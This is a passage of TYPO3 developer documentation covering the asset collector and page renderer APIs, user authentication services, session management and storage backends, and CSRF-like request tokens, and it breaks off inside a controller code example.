TYPO3 Explained

API A-Z

This chapter describes the core functionality of TYPO3 including API and framework configuration.

Coding guidelines

This chapter contains a description of the formal requirements or standards regarding coding that you should adhere to when you develop TYPO3 extensions or Core parts.

Extension development

Learn how to write site packages and other custom extension with or without Extbase.

PHP architecture

General PHP architectural strategies in TYPO3 core development and best practices for extension developers.

Security guidelines

This chapter describes some typical risks and advises how to protect a TYPO3 site in order to ensure it is and stays secure and stable.

Automated testing

This chapter goes into details about automatic testing: Writing, maintaining and running them in various scopes.

Introduction

TYPO3 is a content management system based on PHP. The TYPO3 - Getting Started Tutorial gives you an introduction to the core concepts of TYPO3 and will help you to kickstart your first project.

A basic TYPO3 installation

Installation with Composer is covered in the Getting Started Guide (see Installation chapter).

You can also download TYPO3 from our official page

If you are starting out we would suggest using the latest TYPO3 version with long term support.

A basic site package

To get started you need a basic site package.

You can use the official Site Package Builder to generate one for you or follow the site package tutorial.

Getting help with TYPO3

Meet the TYPO3 Community. You can chat with us on Slack, go to meetings in your local user group or meet us at events.

You can discuss TYPO3 related questions in the https://talk.typo3.org/ forum.

If you think you have found a bug in the TYPO3 Core code, have a look at our issue tracker on forge where you can check if the bug has already been reported or not.

API A-Z

The TYPO3 Core code serves a dual purpose: It functions both as an out-of-the-box application and as a library providing APIs for extensions that enhance projects with additional functionality.

The TYPO3 Core itself organizes its code into extensions as well, with the "core" extension offering the majority of API classes. These classes are utilized by other key extensions such as "frontend" and "backend". These three extensions are mandatory for any TYPO3-based project, while others, like "scheduler," are optional.

This chapter focuses on the APIs primarily provided by these three essential extensions.

TYPO3 APIs are primarily documented within the source code itself. Maintaining documentation in multiple locations is impractical due to the frequent changes in the codebase. This chapter highlights the most critical elements of the API.

Contents:

Assets (CSS, JavaScript, Media)

Introduction

The TYPO3 component responsible for rendering the HTML and adding assets to a TYPO3 frontend or backend page is called \TYPO3\CMS\Core\Page\PageRenderer .

The PageRenderer collects all assets to be rendered, takes care of options such as concatenation or compression and finally generates the necessary tags.

There are multiple ways to add assets to the PageRenderer in TYPO3. For configuration options via TypoScript (usually used for the main theme files), see the TypoScript Reference. In extensions, both directly using the PageRenderer as well as using the more convenient AssetCollector is possible.

Asset collector

With the \TYPO3\CMS\Core\Page\AssetCollector class, CSS and JavaScript code (inline or external) can be added multiple times, but rendered only once in the output. The class may be used directly in PHP code or the assets can be added via the <f:asset.css> and <f:asset.script> ViewHelpers.

The priority flag (default: false) controls where the asset is inserted:

  • JavaScript will be output inside <head> if $priority == true, or at the bottom of the <body> tag if $priority == false.
  • CSS will always be output inside <head>, yet grouped by $priority.

The asset collector helps to work with content elements as components, effectively reducing the CSS to be loaded. It takes advantage of HTTP/2, which removes the necessity to concatenate all files in one file.

The asset collector class is implemented as a singleton ( \TYPO3\CMS\Core\SingletonInterface ). It replaces various other existing options in TypoScript and methods in PHP for inserting JavaScript and CSS code.

The asset collector also collects information about images on a page, which can be used in cached and non-cached components.

New in version 13.3

Option external to skip URL processing in AssetRenderer has been added.

The AssetCollector option external can be used for asset files using $assetCollector->addStyleSheet() or $assetCollector->addJavaScript(). If set all processing of the asset URI (like the addition of the cache busting parameter) is skipped and the input path will be used as-is in the resulting HTML tag.

The API

class AssetCollector
Fully qualified name
\TYPO3\CMS\Core\Page\AssetCollector

The Asset Collector is responsible for keeping track of - everything within <script> tags: javascript files and inline javascript code - inline CSS and CSS files

The goal of the asset collector is to: - utilize a single "runtime-based" store for adding assets of certain kinds that are added to the output - allow to deal with assets from non-cacheable plugins and cacheable content in the Frontend - reduce the "power" and flexibility (I'd say it's a burden) of the "god class" PageRenderer. - reduce the burden of storing everything in PageRenderer

As a side effect this allows to: - Add a single CSS snippet or CSS file per content block, but assure that the CSS is only added once to the output.

Note on the implementation: - We use a Singleton to make use of the AssetCollector throughout Frontend process (similar to PageRenderer). - Although this is not optimal, I don't see any other way to do so in the current code.

addJavaScript ( string $identifier, string $source, array $attributes = [], array $options = [])
param $identifier

the identifier

param $source

URI to JavaScript file (allows EXT: syntax)

param $attributes

additional HTML <script> tag attributes, default: []

param $options

['priority' => true] means rendering before other tags, default: []

Returns
self
addJavaScriptModule ( string $identifier)
param $identifier

Bare module identifier like @my/package/Filename.js

Returns
self
addInlineJavaScript ( string $identifier, string $source, array $attributes = [], array $options = [])
param $identifier

the identifier

param $source

JavaScript code

param $attributes

additional HTML <script> tag attributes, default: []

param $options

['priority' => true] means rendering before other tags, default: []

Returns
self
addStyleSheet ( string $identifier, string $source, array $attributes = [], array $options = [])
param $identifier

the identifier

param $source

URI to stylesheet file (allows EXT: syntax)

param $attributes

additional HTML <link> tag attributes, default: []

param $options

['priority' => true] means rendering before other tags, default: []

Returns
self
addInlineStyleSheet ( string $identifier, string $source, array $attributes = [], array $options = [])
param $identifier

the identifier

param $source

stylesheet code

param $attributes

additional HTML <link> tag attributes, default: []

param $options

['priority' => true] means rendering before other tags, default: []

Returns
self
addMedia ( string $fileName, array $additionalInformation)
param $fileName

the fileName

param $additionalInformation

One dimensional hash map (array with non-numerical keys) with scalar values

Returns
self
removeJavaScript ( string $identifier)
param $identifier

the identifier

Returns
self
removeInlineJavaScript ( string $identifier)
param $identifier

the identifier

Returns
self
removeStyleSheet ( string $identifier)
param $identifier

the identifier

Returns
self
removeInlineStyleSheet ( string $identifier)
param $identifier

the identifier

Returns
self
removeMedia ( string $identifier)
param $identifier

the identifier

Returns
self
getMedia ( )
Returns
array
getJavaScripts ( ?bool $priority = NULL)
param $priority

the priority, default: NULL

Returns
array
getInlineJavaScripts ( ?bool $priority = NULL)
param $priority

the priority, default: NULL

Returns
array
getJavaScriptModules ( )
Returns
array
getStyleSheets ( ?bool $priority = NULL)
param $priority

the priority, default: NULL

Returns
array
getInlineStyleSheets ( ?bool $priority = NULL)
param $priority

the priority, default: NULL

Returns
array
hasJavaScript ( string $identifier)
param $identifier

the identifier

Returns
bool
hasInlineJavaScript ( string $identifier)
param $identifier

the identifier

Returns
bool
hasStyleSheet ( string $identifier)
param $identifier

the identifier

Returns
bool
hasInlineStyleSheet ( string $identifier)
param $identifier

the identifier

Returns
bool
hasMedia ( string $fileName)
param $fileName

the fileName

Returns
bool

ViewHelper

There are also two ViewHelpers, the f:asset.css and the f:asset.script ViewHelper which use the AssetCollector API.

Rendering order

Currently, CSS and JavaScript registered with the asset collector will be rendered after their page renderer counterparts. The order is:

  • <head>
  • page.includeJSLibs.forceOnTop
  • page.includeJSLibs
  • page.includeJS.forceOnTop
  • page.includeJS
  • AssetCollector::addJavaScript() with 'priority'
  • page.jsInline
  • AssetCollector::addInlineJavaScript() with 'priority'
  • </head>
  • page.includeJSFooterlibs.forceOnTop
  • page.includeJSFooterlibs
  • page.includeJSFooter.forceOnTop
  • page.includeJSFooter
  • AssetCollector::addJavaScript()
  • page.jsFooterInline
  • AssetCollector::addInlineJavaScript()

Examples

The AssetCollector can be injected in the constructor of a class via dependency injection and then used in methods:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\MyClass;

use TYPO3\CMS\Core\Page\AssetCollector;

final class MyClass
{
    public function __construct(
        private readonly AssetCollector $assetCollector,
    ) {}

    public function doSomething()
    {
        // $this->assetCollector can now be used
        // see examples below
    }
}
Copied!

Add a JavaScript file to the collector with script attribute data-foo="bar":

EXT:my_extension/Classes/MyClass.php
$this->assetCollector->addJavaScript(
    'my_ext_foo',
    'EXT:my_extension/Resources/Public/JavaScript/foo.js',
    ['data-foo' => 'bar']
);
Copied!

Add a JavaScript file to the collector with script attribute data-foo="bar" and a priority which means rendering before other script tags:

EXT:my_extension/Classes/MyClass.php
$this->assetCollector->addJavaScript(
    'my_ext_foo',
    'EXT:my_extension/Resources/Public/JavaScript/foo.js',
    ['data-foo' => 'bar'],
    ['priority' => true]
);
Copied!

Add a JavaScript file to the collector with type="module" (by default, no type= is output for JavaScript):

EXT:my_extension/Classes/MyClass.php
$this->assetCollector->addJavaScript(
    'my_ext_foo',
    'EXT:my_extension/Resources/Public/JavaScript/foo.js',
    ['type' => 'module']
);
Copied!

Check if a JavaScript file with the given identifier exists:

EXT:my_extension/Classes/MyClass.php
if ($this->assetCollector->hasJavaScript($identifier)) {
    // result: true - JavaScript with identifier $identifier exists
} else {
    // result: false - JavaScript with identifier $identifier does not exist
}
Copied!

The following code skips the cache busting parameter ?1726090820 for the supplied CSS file:

EXT:my_extension/Classes/MyClass.php
$assetCollector->addStyleSheet(
    'myCssFile',
    PathUtility::getAbsoluteWebPath(GeneralUtility::getFileAbsFileName('EXT:my_extension/Resources/Public/MyFile.css')),
    [],
    ['external' => true]
);
Copied!

Resulting in the following HTML output:

<link rel="stylesheet" href="/_assets/<hash>/myFile.css" />
Copied!

Events

There are two events available that allow additional adjusting of assets:

Former methods to add assets

Using the page renderer

An instance of the PageRenderer class can be injected into the class via dependency injection:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\MyClass;

use TYPO3\CMS\Core\Page\PageRenderer;

final class MyClass
{
    public function __construct(
        private readonly PageRenderer $pageRenderer,
    ) {}

    public function doSomething()
    {
        // $this->pageRenderer can now be used
        // see examples below
    }
}
Copied!

The following methods can then be used:

  • $this->pageRenderer->addHeaderData($javaScriptCode)
  • $this->pageRenderer->addCssFile($file)
  • $this->pageRenderer->addCssInlineBlock($name, $cssCode)
  • $this->pageRenderer->addCssLibrary($file)
  • $this->pageRenderer->addJsFile($file)
  • $this->pageRenderer->addJsFooterFile($file)
  • $this->pageRenderer->addJsFooterLibrary($name, $file)
  • $this->pageRenderer->addJsFooterInlineCode($name, $javaScriptCode)
  • $this->pageRenderer->addJsInlineCode($name, $javaScriptCode)
  • $this->pageRenderer->addJsLibrary($name, $file)

Using the TypoScriptFrontendController

Changed in version 13.0

The property additionalHeaderData has been marked as internal and should not be used. Use AssetCollector->addJavaScript() instead (like described in the examples above).

Deprecated since version 13.4

The class \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController and its global instance $GLOBALS['TSFE'] have been marked as deprecated. The class will be removed with TYPO3 v14.

$GLOBALS['TSFE']->additionalHeaderData[$name] = $javaScriptCode;
Copied!

Authentication: Backend and frontend users

In TYPO3, there are two distinct user types:

Backend user

These users can log into the TYPO3 backend to manage content and configure settings based on their assigned permissions.

Frontend user

These users can log into the TYPO3 frontend to access restricted content that is not publicly available.

The following topics are of interest when you are working with backend or frontend users in TYPO3:

Authentication services

Authentication services in TYPO3 manage user verification, allowing flexible and customizable login methods for secure access control.

Password policies

The password policy validator is used to validate passwords against configurable password policies.

Sessions

The user session contains all information for logged in backend and frontend users, as well as anonymous visitors without login. It can be used to store session data like a shopping basket.

Multi-factor authentication

Enhance your TYPO3 security with Multi-Factor Authentication (MFA), adding an extra layer of protection beyond passwords for safer logins.

Backend user API

In TYPO3, backend users (BE users) are responsible for managing content, settings, and administration tasks within the backend. They are stored in the be_users database table and authenticated via the Backend user object stored in the global variable $GLOBALS['BE_USER'] (class \TYPO3\CMS\Core\Authentication\BackendUserAuthentication ).

Frontend user API

In TYPO3, frontend users (FE users) are responsible for accessing restricted content and personalized areas of a TYPO3 website. They are stored in the fe_users database table and authenticated via the frontend.user request attribute (class \TYPO3\CMS\Frontend\Authentication\FrontendUserAuthentication ).

The frontend user id and groups are available from the User aspect (Context API).

The system extension typo3/cms-felogin offers a plugin that can included in the page so that frontend users can login and logout. It also features a password-forgotten workflow.

The TYPO3 Core does not provide a plugin to register frontend users. There are multiple third-party extensions available in the TER, for example evoweb/sf-register .

User session management

User sessions in TYPO3 are represented as UserSession objects. The TYPO3 authentication service chain creates or updates user sessions when authenticating users.

The UserSession object contains all information regarding a user's session, for website visitors with session data (e.g. basket for anonymous / not-logged-in users), for frontend users as well as authenticated backend users. These are for example, the session id, the session data, if a session was updated, if the session is anonymous, or if it is marked as permanent and so on.

The UserSession object can be used to change and retrieve information in an object-oriented way.

For creating UserSession objects the UserSessionManager must be used since this manager acts as the main factory for user sessions and therefore handles all necessary tasks like fetching, evaluating and persisting them. It effectively encapsulates all calls to the SessionManager which is used for the session backend.

Public API of UserSessionManager

The UserSessionManager can be retrieved using its static factory method create():

EXT:some_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Core\Session\UserSessionManager;

$loginType = 'BE'; // or 'FE' for frontend
$userSessionManager = UserSessionManager::create($loginType);
Copied!

You can then use the UserSessionManager to work with user sessions. A couple of public methods are available:

class UserSessionManager
Fully qualified name
\TYPO3\CMS\Core\Session\UserSessionManager

The purpose of the UserSessionManager is to create new user session objects (acting as a factory), depending on the need / request, and to fetch sessions from the session backend, effectively encapsulating all calls to the SessionManager.

The UserSessionManager can be retrieved using its static factory method create():

use TYPO3\CMS\Core\Session\UserSessionManager;

$loginType = 'BE'; // or 'FE' for frontend
$userSessionManager = UserSessionManager::create($loginType);
Copied!
createFromRequestOrAnonymous ( \Psr\Http\Message\ServerRequestInterface $request, string $cookieName)

Creates and returns a session from the given request. If the given $cookieName can not be obtained from the request an anonymous session will be returned.

param $request

the request

param $cookieName

Name of the cookie that might contain the session

Return description

An existing session if one is stored in the cookie, an anonymous session otherwise

Returns
\UserSession
createAnonymousSession ( )

Creates and returns an anonymous session object (which is not persisted)

Returns
\TYPO3\CMS\Core\Session\UserSession
hasExpired ( \TYPO3\CMS\Core\Session\UserSession $session)

Checks whether a session has expired. This is also the case if sessionLifetime is 0

param $session

the session

Returns
bool
willExpire ( \TYPO3\CMS\Core\Session\UserSession $session, int $gracePeriod)

Checks whether a given user session will expire within the given grace period

param $session

the session

param $gracePeriod

in seconds

Returns
bool
fixateAnonymousSession ( \TYPO3\CMS\Core\Session\UserSession $session, bool $isPermanent = false)

Persists an anonymous session without a user logged-in, in order to store session data between requests

param $session

The user session to fixate

param $isPermanent

If true, the session will get the ses_permanent flag, default: false

Return description

A new session object with an updated ses_tstamp (allowing to keep the session alive)

Returns
\UserSession
elevateToFixatedUserSession ( \TYPO3\CMS\Core\Session\UserSession $session, int $userId, bool $isPermanent = false)

Removes existing entries, creates and returns a new user session object.

See regenerateSession() below.

param $session

The user session to recreate

param $userId

The user id the session belongs to

param $isPermanent

If true, the session will get the ses_permanent flag, default: false

Return description

The newly created user session object

Returns
\UserSession
regenerateSession ( string $sessionId, array $existingSessionRecord = [], bool $anonymous = false)

Regenerates the given session. This method should be used whenever a user proceeds to a higher authorization level, for example when an anonymous session is now authenticated.

param $sessionId

The session id

param $existingSessionRecord

If given, this session record will be used instead of fetching again, default: []

param $anonymous

If true session will be regenerated as anonymous session, default: false

Returns
\TYPO3\CMS\Core\Session\UserSession
updateSessionTimestamp ( \TYPO3\CMS\Core\Session\UserSession $session)

Updates the session timestamp for the given user session if the session is marked as "needs update" (which means the current timestamp is greater than "last updated + a specified grace-time").

param $session

the session

Return description

A modified user session with a last updated value if needed

Returns
\UserSession
isSessionPersisted ( \TYPO3\CMS\Core\Session\UserSession $session)

Checks whether a given session is already persisted

param $session

the session

Returns
bool
removeSession ( \TYPO3\CMS\Core\Session\UserSession $session)

Removes a given session from the session backend

param $session

the session

updateSession ( \TYPO3\CMS\Core\Session\UserSession $session)

Updates the session data + timestamp in the session backend

param $session

the session

Returns
\TYPO3\CMS\Core\Session\UserSession
collectGarbage ( int $garbageCollectionProbability = 1)

Calls the session backends collectGarbage() method

param $garbageCollectionProbability

the garbageCollectionProbability, default: 1

create ( string $loginType, ?int $sessionLifetime = NULL, ?\TYPO3\CMS\Core\Session\SessionManager $sessionManager = NULL, ?\TYPO3\CMS\Core\Authentication\IpLocker $ipLocker = NULL)

Creates a UserSessionManager instance for the given login type. Has several optional arguments used for testing purposes to inject dummy objects if needed.

Ideally, this factory encapsulates all TYPO3_CONF_VARS options, so the actual object does not need to consider any global state.

param $loginType

the loginType

param $sessionLifetime

the sessionLifetime, default: NULL

param $sessionManager

the sessionManager, default: NULL

param $ipLocker

the ipLocker, default: NULL

Returns
static
setLogger ( \Psr\Log\LoggerInterface $logger)

Sets a logger.

param $logger

the logger

Public API of UserSession

The session object created or retrieved by the UserSessionManager provides the following API methods:

class UserSession
Fully qualified name
\TYPO3\CMS\Core\Session\UserSession

Represents all information about a user's session.

A user session can be bound to a frontend / backend user, or an anonymous session based on session data stored in the session backend.

If a session is anonymous, it can be fixated by storing the session in the backend, but only if there is data in the session.

if a session is user-bound, it is automatically fixated.

The $isNew flag is meant to show that this user session object was not fetched from the session backend, but initialized in the first place by the current request.

The $data argument stores arbitrary data valid for the user's session.

A permanent session is not issued by a session-based cookie but a time-based cookie. The session might be persisted in the user's browser.

getIdentifier ( )
Return description

The session ID. This is the ses_id respectively the AbstractUserAuthentication->id

Returns
string
getUserId ( )
Return description

The user ID the session belongs to. Can also return 0 or NULL Which indicates an anonymous session. This is the ses_userid.

Returns
?int
getLastUpdated ( )
Return description

The timestamp of the last session data update. This is the ses_tstamp.

Returns
int
set ( string $key, ?mixed $value)

Sets or updates session data value for a given $key. It is also internally used if calling AbstractUserAuthentication->setSessionData()

param $key

The key whose value should be updated

param $value

The value or NULL to unset the key

hasData ( )

Checks whether the session has data assigned

Returns
bool
get ( string $key)

Returns the session data for the given $key or NULL if the key does not exist. It is internally used if calling AbstractUserAuthentication->getSessionData()

param $key

the key

getData ( )
Return description

The whole data array.

Returns
array
overrideData ( array $data)

Overrides the whole data array. Can also be used to unset the array.

This also sets the $wasUpdated pointer to true

param $data

the data

dataWasUpdated ( )

Checks whether the session data has been updated

Returns
bool
isAnonymous ( )

Checks if the user session is an anonymous one. This means, the session does not belong to a logged-in user

Returns
bool
getIpLock ( )
Return description

The ipLock state of the session

Returns
string
isNew ( )

Checks whether the session is marked as new

Returns
bool
isPermanent ( )

Checks whether the session was marked as permanent

Returns
bool
needsUpdate ( )

Checks whether the session has to be updated

Returns
bool
getJwt ( ?\TYPO3\CMS\Core\Http\CookieScope $scope = NULL)

Gets session ID wrapped in JWT to be used for emitting a new cookie.

Cookie: <JWT(HS256, [identifier => <session-id>], <signature(encryption-key, cookie-domain)>)>

param $scope

the scope, default: NULL

Return description

The session ID wrapped in JWT to be used for emitting a new cookie

Returns
string
createFromRecord ( string $id, array $record, bool $markAsNew = false)

Creates a new user session based on the provided session record

param $id

the session identifier

param $record

the record

param $markAsNew

the markAsNew, default: false

Returns
self
createNonFixated ( string $identifier)

Creates a non fixated user session. This means the session does not belong to a logged-in user

param $identifier

the identifier

Returns
self
resolveIdentifierFromJwt ( string $cookieValue, \TYPO3\CMS\Core\Http\CookieScope $scope)

Verifies and resolves the session ID from a submitted cookie value: Cookie: <JWT(HS256, [identifier => <session-id>], <signature(encryption-key, cookie-domain)>)>

param $cookieValue

submitted cookie value

param $scope

the scope

Return description

Session ID, null in case verification failed

Returns
non-empty-string|null

Session storage framework

TYPO3 comes with the option to choose between different storages for both frontend and backend user sessions (called session backends).

The Core ships two session backends by default:

  • Database storage
  • Redis storage

By default user sessions are stored in the database using the database storage backend.

Database storage backend

The database storage backend only requires two configuration options: The table name (table option) and whether anonymous sessions (has_anonymous option) may be stored.

The default configuration used for sessions by the Core is:

'SYS' => [
    'session' => [
        'BE' => [
            'backend' => \TYPO3\CMS\Core\Session\Backend\DatabaseSessionBackend::class,
            'options' => [
                'table' => 'be_sessions'
            ]
        ],
        'FE' => [
            'backend' => \TYPO3\CMS\Core\Session\Backend\DatabaseSessionBackend::class,
            'options' => [
                'table' => 'fe_sessions',
                'has_anonymous' => true,
            ]
        ]
    ],
],
Copied!

Using Redis to store sessions

TYPO3 also comes with the possibility to store sessions in a Redis key-value database.

The Redis session storage can be configured with config/system/settings.php in the SYS entry:

A sample configuration will look like this:

'SYS' => [
    'session' => [
        'BE' => [
            'backend' => \TYPO3\CMS\Core\Session\Backend\RedisSessionBackend::class,
            'options' => [
                'hostname' => 'redis.myhost.example',
                'password' => 'passw0rd',
                'database' => 0,
                'port' => 6379
            ]
        ],
        'FE' => [
            'backend' => \TYPO3\CMS\Core\Session\Backend\RedisSessionBackend::class,
            'options' => [
                'hostname' => 'redis.myhost.example',
                'password' => 'passw0rd',
                'database' => 0,
                'port' => 6379
            ]
        ],
    ],
],
Copied!

The available options are:

hostname
Name of the server the redis database service is running on. Default: 127.0.0.1
port
Port number the redis database service is listening to. Default: 6379
database
The redis database number to use. Default: 0
password
The password to use when connecting to the specified database. Optional.

Writing your own session storage

Custom sessions storage backends can be created by implementing the interface \TYPO3\CMS\Core\Session\Backend\SessionBackendInterface . The doc blocks in the interface describe how the implementing class must behave. Any number of options can be passed to the session backend.

A custom session storage backend can be used like this (similarly to the Redis backend):

'SYS' => [
    'session' => [
        'FE' => [
            'backend' => \Vendor\Sessions\MyCustomSessionBackend::class,
            'options' => [
                'foo' => 'bar',
            ]
        ],
    ],
],
Copied!

SessionManager API

class SessionManager
Fully qualified name
\TYPO3\CMS\Core\Session\SessionManager

Example Configuration

$GLOBALS['TYPO3_CONF_VARS']['SYS']['session'] => [
    'BE' => [
        'backend' => \TYPO3\CMS\Core\Session\Backend\FileSessionBackend::class,
        'savePath' => '/var/www/t3sessionframework/data/'
    ],
];
Copied!
getSessionBackend ( string $identifier)

Gets the currently running session backend for the given context

param $identifier

the identifier

Returns
\TYPO3\CMS\Core\Session\Backend\SessionBackendInterface
invalidateAllSessionsByUserId ( \TYPO3\CMS\Core\Session\Backend\SessionBackendInterface $backend, int $userId, ?\TYPO3\CMS\Core\Authentication\AbstractUserAuthentication $userAuthentication = NULL)

Removes all sessions for a specific user ID

param $backend

see constants

param $userId

the userId

param $userAuthentication

the userAuthentication, default: NULL

References

Authentication services

The TYPO3 Core uses Services for the authentication process. This family of services (of type "auth") are the only Core usage that consumes the Services API.

The aim of this chapter is to describe the authentication services so that developers feel confident about writing their own.

Why Use Services?

Services provide the flexibility needed for such a complex process of authentication, where many methods may be desirable (single sign-on, IP-based authentication, third-party servers such as LDAP, etc.) depending on the context.

The ease with which such services can be developed is a strong point in favor of TYPO3, especially in corporate environments.

Being able to toy with priority and quality allows for precise fine-tuning of the authentication chain.

Alternative services are available in the TYPO3 Extension Repository. It is thus possible to find solutions for using LDAP as an authentication server, for example.

You can check which authentication services are installed using the System > Reports > Installed Services view:

All installed authentication services and their priority

The Authentication Process

The authentication process is not managed entirely by services. It is handled essentially by class \TYPO3\CMS\Core\Authentication\BackendUserAuthentication for the backend (BE) and by class \TYPO3\CMS\Frontend\Authentication\FrontendUserAuthentication for the frontend (FE), which both inherit from class \TYPO3\CMS\Core\Authentication\AbstractUserAuthentication . The objects for these classes are available via $GLOBALS['BE_USER'] for BackendUserAuthentication and "frontend.user" request attribute for FrontendUserAuthentication These classes are called by the bootstrapping process. They manage the workflow of the authentication process. Services are used strictly to identify and validate users based on whatever form of credentials a given service relies on (by default, a username and a password).

The authentication process kicks in on every page request, be it in the FE or the BE. However if a valid session already exists, that session is kept. Strictly speaking, no authentication is performed in such a case.

JSON Web Tokens (JWT) are used to transport user session identifiers in be_typo_user and fe_typo_user cookies.

Using JWT's HS256 (HMAC signed based on SHA256) allows to determine whether a session cookie is valid before comparing with server-side stored session data. This enhances the overall performance a bit, since sessions cookies would be checked for every request to TYPO3's backend and frontend.

The session cookies can be pre-validated without querying the database, which can filter invalid requests and might improve overall performance a bit.

As a consequence session tokens are not sent "as is", but are wrapped in a corresponding JWT message, which contains the following payload:

  • identifier reflects the actual session identifier
  • time reflects the time of creating the cookie (RFC 3339 format)

The login data

There is a typical set of data that is transmitted to authentication service in order to enable them to do their work:

uname
This is the user name. This can be whatever makes sense for the available authentication services. For the default service, this will match data from the "username" column of the "be_users" or "fe_users" table for BE or FE authentication respectively.
uident
This is the password, possibly encrypted.
uident_text
This is the clear text value of the password. If the password is originally submitted in clear text, both "uident" and "uident_text" contain the same value.

Inside an authentication service, this data is available in $this->login.

The "auth" services API

The services of type "auth" are further divided into subtypes, which correspond to various steps in the authentication process. Most subtypes exist for both FE and BE and are differentiated accordingly.

To each subtype corresponds a part of the "auth" services public API. They are listed below in the order in which they are called during the authentication process.

processLoginDataBE, processLoginDataFE

This subtype performs preprocessing on the submitted login data.

The method to implement is processLoginData(). It receives as argument the login data and the password transmission strategy (which corresponds to the login security level, where only 'normal' can be used. It returns the boolean value true, when the login data has been successfully processed .

It may also return a numerical value equal to 200 or greater, which indicates that no further login data processing should take place (see The service chain).

In particular, this subtype is implemented by the TYPO3 Core AuthenticationService, which trims the given login data.

getUserFE, getUserBE
This subtype corresponds to the operation of searching in the database if the credentials that were given correspond to an existing user. The method to implement is getUser(). It is expected to return an array containing the user information or false if no user was found.
authUserFE, authUserBE
This subtype performs the actual authentication based on the provided credentials. The method to implement is authUser(). It receives the user information (as returned by getUser()) as an input and is expected to return a numerical value, which is described later.

The service chain

No matter what subtype, authentication services are always called in a chain. This means that all registered "auth" services will be called, in order of decreasing priority and quality.

However, for some subtypes, there are ways to stop the chain.

For "processLoginDataBE" and "processLoginDataFE" subtypes, the processLoginData() method may return a numerical value of 200 or more. In such a case no further services are called and login data is not further processed. This makes it possible for a service to perform a form of final transformation on the login data.

For "authUserFE" and "authUserBE" subtypes, the authUser() method may return different values:

  • a negative value or 0 (<=0) indicates that the authentication has definitely failed and that no other "auth" service should be called up.
  • a value larger than 0 and smaller than 100 indicates that the authentication was successful, but that further services should also perform their own authentication.
  • a value of 100 or more (>= 100) indicates that the user was not authenticated, this service is not responsible for the authentication and that further services should authenticate.
  • a value of 200 or more (>=200) indicates that the authentication was successful and that no further tries should be made by other services down the chain.
auth failed auth success no auth
continue   1..99 100..199
stop <= 0 >= 200  

For "getUserFE" and "getUserBE" subtypes, the logic is reversed. The service chain will stop as soon as one user is found.

Developing an authentication service

Use the Service API to implement your service class. When developing your own "auth" services, the chances are high that you will want to implement only the "getUser*" and "authUser*" subtypes.

There are several public extensions providing such services, so you should be able to find examples to inspire and guide you. Anyway authentication services can be very different from one another, so it wouldn't make much sense to try and provide an example in this manual.

One important thing to know is that the TYPO3 authentication process needs to have users inside database records ("fe_users" or "be_users"). This means that if you interface with a third-party server, you will need to create records on the TYPO3 side. It is up to you to choose whether this process happens on the fly (during authentication) or if you want to create an import process (as a Scheduler task, for example) that will synchronize users between TYPO3 and the remote system.

For the authUser() method, you will want to take care about the return values. If your service should be the final authority for authentication, it should not only have a high priority, but also return values which stop the service chain (i.e. a negative value for failed authentication, 200 or more for a successful one). On the other hand, if your service is an alternative authentication, but should fall back on TYPO3 if unavailable, you will want to return 100 on failure, so that the default service can take over.

Things can get a bit hairy if you have a scenario with mixed sources, for example some users come from a third-party server but others exist only in TYPO3. In such a case, you want to make sure that your service returns definite authentication failures only for those users which depend on the remote system and let the default authentication proceed for "local" TYPO3 users.

Advanced Options

There are some special configuration options which can be used to modify the behaviour of the authentication process. Some impact the inner working of the services themselves, others influence when services are called.

It is possible to force TYPO3 to go through the authentication process for every request no matter any existing session. By setting the following local configuration either for the FE or the BE:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['BE_alwaysFetchUser'] = true;
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['BE_alwaysAuthUser'] = true;

$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['FE_alwaysFetchUser'] = true;
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['FE_alwaysAuthUser'] = true;
Copied!

the authentication process will be fully run on each request. Both flags may not be necessary depending on what your service does exactly.

A more fine-grained approach allows for triggering the authentication process only when a valid session does not yet exist. The settings are:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['BE_fetchUserIfNoSession'] = true;
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['FE_fetchUserIfNoSession'] = true;
Copied!

The authentication process can also be forced to go through all services for the "getUser*" subtype by setting:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['BE_fetchAllUsers'] = true;
$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['FE_fetchAllUsers'] = true;
Copied!

for BE or FE respectively. This will collect all possible users rather than stopping at the first one available.

CSRF-like request token handling

A CSRF-like request token handling is available to mitigate potential cross-site requests on actions with side effects. This approach does not require an existing server-side user session, but uses a nonce as a "pre-session". The main scope is to ensure a user actually has visited a page, before submitting data to the webserver.

This token can only be used for HTTP methods POST, PUT or PATCH, but for instance not for a GET request.

The \TYPO3\CMS\Core\Middleware\RequestTokenMiddleware resolves request tokens and nonce values from a request and enhances responses with a nonce value in case the underlying application issues one. Both items are serialized as a JSON Web Token (JWT) hash signed with HS256. Request tokens use the provided nonce value during signing.

Session cookie names involved for providing the nonce value depending on the request:

  • typo3nonce_[hash] - plain HTTP
  • __Secure-typo3nonce_[hash] - secured HTTPS

Submitting request token value to application:

  • HTTP body, for example in <form> via parameter __RequestToken
  • HTTP header, for example in XHR via header X-TYPO3-Request-Token

Workflow

The sequence looks like the following:

  1. Retrieve nonce and request token values

    This happens on the previous legitimate visit on a page that offers a corresponding form that shall be protected. The RequestToken and Nonce objects (later created implicitly in this example) are organized in the \TYPO3\CMS\Core\Context\SecurityAspect .

    Changed in version 13.3

    EXT:my_extension/Classes/Controller/MyController.php
    <?php
    
    use TYPO3\CMS\Core\Security\RequestToken;
    use TYPO3\CMS\Core\View\ViewFactoryData;
    use TYPO3\CMS\Core\View\ViewFactoryInterface;
    
    final class MyController
    {
        public function __construct(
            private readonly ViewFactoryInterface $viewFactory,
        ) {}
    
        public function showFormAction()
        {
            $view = $this->viewFactory->create(new ViewFactoryData(/* ... */));
            // creating new request token with scope 'my/process' and hand over to view
            $requestToken = RequestToken::create('my/process');
